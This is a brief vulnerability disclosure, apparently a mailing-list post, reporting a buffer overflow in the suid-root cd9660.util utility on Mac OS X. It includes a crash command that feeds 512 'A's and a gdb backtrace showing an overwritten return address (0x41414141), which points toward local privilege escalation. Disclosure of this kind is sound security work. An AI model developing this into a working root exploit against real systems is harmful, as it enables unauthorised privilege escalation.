Buffer overflow/privilege escalation in MacOS X

[Max <rusmir () tula net>]

Hi,

It appears that parts of MacOSX that didn't come from BSD are
not very well written and have significant security issues.

An example is a /System/Library/Filesystems/cd9660.fs/cd9660.util
utility. It is suid root and it is vulnerable to a classic buffer
overflow due to the lack of input validation.

Demonstration:

sdsx:/System/Library/Filesystems/cd9660.fs max$ ls -la cd9660.util
-rwsr-xr-x  1 root  wheel  20476 23 Sep 23:53 cd9660.util

sdsx:/System/Library/Filesystems/cd9660.fs max$ ./cd9660.util -p `perl -e "print 'A'x512"`
Segmentation fault

sdsx:/System/Library/Filesystems/cd9660.fs root# gdb -core /cores/core.1405 ./cd9660.util
[gdb banner here]
Reading symbols for shared libraries .... done
Core was generated by `./cd9660.util'.
#0  0x9000d360 in strcat ()
(gdb) where
#0  0x9000d360 in strcat ()
#1  0x00002b84 in main ()
#2  0x41414141 in ?? ()



Thanks,

Max.